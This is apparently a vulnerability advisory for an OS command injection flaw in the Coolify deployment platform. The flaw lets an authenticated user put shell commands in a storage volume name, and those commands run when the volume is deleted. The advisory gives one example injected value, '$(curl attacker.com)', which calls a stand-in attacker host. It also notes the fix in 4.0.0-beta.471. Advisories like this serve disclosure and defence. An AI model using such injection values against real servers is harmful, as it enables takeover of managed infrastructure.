Executive brief
Coolify is an open-source platform used to manage and deploy servers, applications, and databases. A security flaw allows an authorized user to execute malicious commands on the underlying servers by providing a specially crafted name for a storage volume. When that volume is later deleted, the system runs the malicious commands, potentially allowing an attacker to take full control of the managed infrastructure.
Technical details
An OS command injection vulnerability exists in Coolify due to improper neutralization of special elements in the 'LocalPersistentVolume.name' field. The application interpolates this field directly into shell commands (e.g., 'docker volume rm -f $storage->name') without using 'escapeshellarg()' or equivalent sanitization. An authenticated attacker can use the API to create a storage volume with a name containing shell metacharacters (e.g., '$(curl attacker.com)'). When the resource is subsequently deleted, the 'DeleteService' action executes the injected commands on the managed server via 'instant_remote_process'. This issue is fixed in version 4.0.0-beta.471 by implementing proper shell escaping and input validation.
Affected products
- coollabsio Coolify < 4.0.0-beta.471
Timeline
- 2026-03-26: patched: Fix committed to repository
- 2026-07-02: advisory: GitHub Security Advisory published
- 2026-07-07: disclosed: CVE published to NVD